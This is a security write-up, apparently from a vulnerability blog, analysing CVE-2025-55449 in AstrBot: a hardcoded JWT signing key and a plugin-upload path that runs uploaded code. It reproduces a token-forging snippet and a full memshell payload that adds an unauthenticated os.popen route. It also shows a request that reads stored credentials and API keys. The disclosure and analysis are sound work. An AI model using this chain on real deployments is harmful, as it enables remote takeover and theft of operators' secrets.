-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
NEFARIOUSPLAN-CANONICAL-V1
{"body_md":"## The Constant Is The Backronym\n\nThe vulnerable code is two assignments in the package's `__init__.py`:\n\n```python\n# astrbot/core/__init__.py, lines 16-17 (v3.5.15)\nWEBUI_SK = \"Advanced_System_for_Text_Response_and_Bot_Operations_Tool\"\nDEMO_MODE = os.getenv(\"DEMO_MODE\", False)\n```\n\n`DEMO_MODE` reads from the environment. `WEBUI_SK` does not. The string is a literal, baked into the source, identical across every clone, every Docker image, every `pip install`. The first letters of the words are A-S-T-R-B-O-T. The product is named AstrBot. The secret used to sign administrative JWTs is the long form of the product name.\n\n`WEBUI_SK` is imported by the JWT issuer and the JWT verifier:\n\n```python\n# astrbot/dashboard/routes/auth.py, line 83\ntoken = jwt.encode(payload, WEBUI_SK, algorithm=\"HS256\")\n```\n\n```python\n# astrbot/dashboard/server.py, line 91\npayload = jwt.decode(token, WEBUI_SK, algorithms=[\"HS256\"])\n```\n\nSame constant, both sides. No environment-variable fallback. No first-run generation. No rotation hook. No documentation telling the administrator to set anything. The administrator who deploys AstrBot is not asked to pick a secret; the secret is in the source code they pulled.\n\n## The Middleware Validates The Signature. The Signature Is Public.\n\nThe dashboard's `auth_middleware` runs before every request:\n\n```python\n# astrbot/dashboard/server.py\nasync def auth_middleware(self):\n if not request.path.startswith(\"/api\"):\n return\n allowed_endpoints = [\"/api/auth/login\", \"/api/file\"]\n if any(request.path.startswith(prefix) for prefix in allowed_endpoints):\n return\n token = request.headers.get(\"Authorization\")\n if not token:\n r = jsonify(Response().error(\"未授权\").__dict__)\n r.status_code = 401\n return r\n if token.startswith(\"Bearer \"):\n token = token[7:]\n try:\n payload = jwt.decode(token, WEBUI_SK, algorithms=[\"HS256\"])\n g.username = payload[\"username\"]\n except jwt.ExpiredSignatureError:\n # ...\n```\n\nTwo exemptions: login and the file route. Every other `/api/*` endpoint demands a Bearer token, verifies it with `WEBUI_SK`, and lets the request through if the signature checks out. The middleware reads `payload[\"username\"]` and writes it onto `g.username`. It does not check the username against any account record. The signature is the whole gate.\n\nForging the token is twelve lines of Python:\n\n```python\nimport jwt, datetime\nkey = \"Advanced_System_for_Text_Response_and_Bot_Operations_Tool\"\npayload = {\n \"username\": \"admin\",\n \"exp\": datetime.datetime.utcnow() + datetime.timedelta(days=7),\n}\nforged = jwt.encode(payload, key, algorithm=\"HS256\")\n```\n\nBoth public PoCs are this code with different usernames. xhh1h's PoC uses `\"admin\"`. Marven11's uses `\"114514\"`. Neither is a real AstrBot account; neither needs to be. The middleware doesn't check.\n\n## The Forged Admin Posts A Zip. The Server Imports Its Contents.\n\n`/api/plugin/install-upload` is registered on the `PluginRoute`. The handler is forty lines, gated only by a `DEMO_MODE` check:\n\n```python\n# astrbot/dashboard/routes/plugin.py\nasync def install_plugin_upload(self):\n if DEMO_MODE:\n return Response().error(\"You are not permitted...\").__dict__\n try:\n file = await request.files\n file = file[\"file\"]\n logger.info(f\"正在安装用户上传的插件 {file.filename}\")\n file_path = f\"data/temp/{file.filename}\"\n await file.save(file_path)\n plugin_info = await self.plugin_manager.install_plugin_from_file(file_path)\n # ...\n```\n\n`install_plugin_from_file` unzips to `data/plugins/
/` and calls `self.load(specified_dir_name=dir)`. `load` constructs an import path and hands it to Python:\n\n```python\n# astrbot/core/star/star_manager.py, line 394-407\npath = \"data.plugins.\" if not reserved else \"packages.\"\npath += root_dir_name + \".\" + module_str\n# ...\nmodule = __import__(path, fromlist=[module_str])\n```\n\nThe argument to `__import__` is a module string the attacker controls, pointing at a file the attacker uploaded. Python's import system executes the module's top-level code when the import runs. The chain is: forge the JWT against a public constant, POST a zip whose `main.py` contains top-level code, get that code executed in the dashboard process.\n\n## The Plugin Registers A Route Outside The Middleware\n\nBoth PoCs ship a `main.py` whose entire body is a single list comprehension. xhh1h's reads:\n\n```python\nfrom astrbot.api.event import filter\nfrom astrbot.api.star import Context, Star, register\nfrom astrbot.core.platform.astr_message_event import AstrMessageEvent\n\n_ = [\n __import__('time').sleep(3)\n for quart in [__import__(\"quart\")]\n for app in __import__(\"gc\").get_objects()\n if type(app) == quart.Quart\n for jinja_globals in [app.jinja_env.globals]\n for cmd in [\n lambda: __import__('os').popen(jinja_globals[\"request\"].args.get(\"cmd\", \"id\")).read()\n ]\n if [\n app.__dict__.update({'_got_first_request': False}),\n app.add_url_rule(\"/cmd\", endpoint=\"cmd\", view_func=cmd)\n ]\n]\n```\n\nRead what the comprehension does. `gc.get_objects()` returns every Python object the garbage collector tracks, including the running Quart application instance that `AstrBotDashboard.__init__` constructed thirty methods earlier. The `type(app) == quart.Quart` filter picks it out. `app.add_url_rule(\"/cmd\", endpoint=\"cmd\", view_func=cmd)` registers a new URL on the live app, pointing at a lambda that reads `?cmd=` from the request and pipes it to `os.popen`.\n\nThe new route is `/cmd`. Not `/api/cmd`. The auth middleware exits at its first check:\n\n```python\nasync def auth_middleware(self):\n if not request.path.startswith(\"/api\"):\n return\n```\n\nThe middleware was never asked about `/cmd`. The lambda runs. `GET /cmd?cmd=whoami` returns the output of `whoami` from the AstrBot process's UID. `GET /cmd?cmd=cat%20data/cmd_config.json` returns the dashboard administrator's stored credentials, every configured platform token, and the LLM API keys the operator pasted into the panel.\n\nThe middleware required the forged JWT for the install. The memshell, once installed, does not require the forged JWT to be used. The attacker pays the JWT cost once, then has a persistent unauthenticated `os.popen` endpoint that ships with no auth check whatsoever, because the loader runs at import time and the route it registers is not under the middleware's scope.\n\n## This Is Unauth Write To Execution Path. The Auth Was Public.\n\n[Unauth Write To Execution Path](/patterns/unauth-write-to-execution-path) is the shape that produces a CVE every quarter in some product whose write directory overlaps its execute path. It produced [CVE-2026-3844 in Breeze Cache](/posts/breeze-cache-cve-2026-3844-gravatar-fetcher-fetched-anything). It produced [CVE-2026-0740 in Ninja Forms](/posts/ninja-forms-cve-2026-0740-two-patches). It produced [CVE-2026-3891 in Pix for WooCommerce](/posts/pix-woocommerce-nonce-is-not-auth). It produced SAP NetWeaver's CVSS 10.0 last year. The substrate is the same every time: an HTTP write reaches a path the runtime later executes.\n\nAstrBot is the same shape with a specific decoration. The unauth requirement is satisfied not by a missing check but by a check whose secret is public. JWT verification is configured. JWT verification runs on the install endpoint. JWT verification accepts the forgery, because the signing key is line 16 of the package init.\n\nThe execution path here is not a webroot. It is CPython's import system. `data/plugins/` becomes part of the import graph because `star_manager.load` constructs the dotted module name and calls `__import__`. The next call to `load` after the unzip imports whatever was zipped. The kinship to [n8n's Git node](/posts/n8n-git-cve-2026-21877-helper-was-already-there) is that both products embed a runtime sink at the destination of their write path. n8n's gate was authentication that worked. AstrBot's gate is authentication that didn't.\n\nThe catalog's prior write-to-execute exhibits divide into two clean halves: the unauthenticated ones where the gate was missing, and the authenticated ones where the gate ran. AstrBot is a third position the pattern hadn't carried before. The gate is present, the gate runs, the gate's key is on GitHub.\n\n## The Fix Was os.urandom. The Branch Name Was fix-hc-jwt.\n\nThe patch is one commit: `d03e9fb9 fix: jwt secret`, merged via PR #1900 on 2025-06-23. The branch on the PR was named `fix-hc-jwt`. `hc` is a contraction. There is one expansion.\n\nThe diff:\n\n```diff\n--- a/astrbot/core/__init__.py\n+++ b/astrbot/core/__init__.py\n@@ -13,7 +13,6 @@ from .utils.astrbot_path import get_astrbot_data_path\n # 初始化数据存储文件夹\n os.makedirs(get_astrbot_data_path(), exist_ok=True)\n\n-WEBUI_SK = \"Advanced_System_for_Text_Response_and_Bot_Operations_Tool\"\n DEMO_MODE = os.getenv(\"DEMO_MODE\", False)\n```\n\nAnd in `server.py`:\n\n```diff\n+ def _init_jwt_secret(self):\n+ if not self.config.get(\"dashboard\", {}).get(\"jwt_secret\", None):\n+ jwt_secret = os.urandom(32).hex()\n+ self.config[\"dashboard\"][\"jwt_secret\"] = jwt_secret\n+ self.config.save_config()\n+ logger.info(\"Initialized random JWT secret for dashboard.\")\n+ self._jwt_secret = self.config[\"dashboard\"][\"jwt_secret\"]\n```\n\n`os.urandom(32).hex()` is what every Flask quickstart writes when the tutorial says \"store a JWT secret.\" Persisting to config and re-reading on next start is a normal pattern. The fix is what a developer writes the day they decide to write it. Soulter wrote it on June 23, 2025.\n\nRelease `v3.5.17` was tagged at 2025-06-23 01:17 +0800. The fix landed at 12:36 +0800, eleven hours later. v3.5.17 is the last release that shipped the backronym. v3.5.18 and later have `os.urandom`.\n\nCVE-2025-55449 was published on NVD at 2026-05-08 07:16. The fix predates the disclosure by 10 months and 16 days. The earliest public PoC commit (Marven11/CVE-2025-55449-AstrBot-RCE) is dated 2025-11-11, five months after the patch and six months before the CVE. xhh1h's PoC is dated 2025-12-10, a month after Marven11's.\n\nThree artifacts describe this vulnerability. The patch closes the bug end-to-end. The PoCs ship the full chain through to `os.popen`. The CVE description names only the hardcoded key. The NVD record's CVSS is 7.3 with C:L/I:L/A:L; the chain in this post is a one-curl RCE that owns the dashboard process. The CVE scored what the description said. The description said \"hardcoded private key used to sign a JWT.\" It did not say \"plus a plugin install endpoint that calls `__import__` on the upload's contents.\"\n\nThe CVE record also names \"AstrBot 3.5.15\" as the vulnerable version. The patch landed after 3.5.17. Every release from December 3, 2024, when the JWT auth code first shipped, through v3.5.17 inclusive, was vulnerable. The record's version field is the version the filer happened to be looking at.\n\n## What The Administrator Inherited\n\nThe AstrBot administrator running v3.5.17 on a VPS, exposing port 6185 to the public internet because the docs say `host = \"0.0.0.0\"` and the panel needs to be reachable from a phone, is not the victim of a sophisticated supply-chain attack. They are the victim of a chatbot platform that stored its admin signing key in a string literal whose initials are the project's name, did not document that the key needed to be changed, did not provide a mechanism to change it without editing the package source, and quietly replaced it with `os.urandom` eleven months before the CVE that names the original.\n\nThe PoCs do not require a target list. xhh1h's `main.py` reads URLs from `ip.txt`, one per line, and runs the chain against each in turn. The architecture of the PoC is a scanner-and-exploiter that loops over hosts and prints `/cmd?cmd=id` for the ones where the install returned `安装成功` (installed successfully). The default port 6185 makes Shodan and Censys queries trivial. The brand-name backronym makes verification trivial. The administrator has no control over the credential they were issued by virtue of running the software.\n\nPoC: [xhh1h/CVE-2025-55449](https://github.com/xhh1h/CVE-2025-55449), [Marven11/CVE-2025-55449-AstrBot-RCE](https://github.com/Marven11/CVE-2025-55449-AstrBot-RCE)","closing_line":"WEBUI_SK is the product name with the spaces left in. So was the disclosure.","hook_md":"Line 16 of `astrbot/core/__init__.py`, two lines after the package's `os.makedirs` call and before anything that uses it, defines `WEBUI_SK`. The value is the string `\"Advanced_System_for_Text_Response_and_Bot_Operations_Tool\"`. The constant signs every JSON Web Token AstrBot's dashboard issues, and the dashboard verifies every inbound `/api/*` request against the same constant. The first letters of the seven words in the string spell ASTRBOT.\n\nCVE-2025-55449 is what happens when an LLM-agent chatbot platform with a 1000-plugin marketplace, a Docker pull badge, and a default listen address of `0.0.0.0:6185` treats \"choose a JWT secret\" as a thing the brand can do for itself. AstrBotDevs published the backronym at module load. The dashboard administrators who deployed it published an admin signing key every time a clone of the repository hit a registry.","post_id":526,"slug":"astrbot-cve-2025-55449-jwt-secret-is-the-backronym","title":"CVE-2025-55449: AstrBot's JWT Secret Is The Backronym Of AstrBot","type":"initial","unreadable_sentence":"The JWT secret is the backronym. The backronym is the product. Anyone who can spell AstrBot in long form has signed as admin."}
-----BEGIN PGP SIGNATURE-----
iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCapMSfAAKCRDeZjl4jgkQ
JhUUAQCsypnuQxSxVLlrLz+L/yacL3YcIPmtbY73ht8uQxefkwEArmdbgAyMIA4P
ZfaApWd2uG5oSBEXWFn/ocOMyv+jWQg=
=SXIl
-----END PGP SIGNATURE-----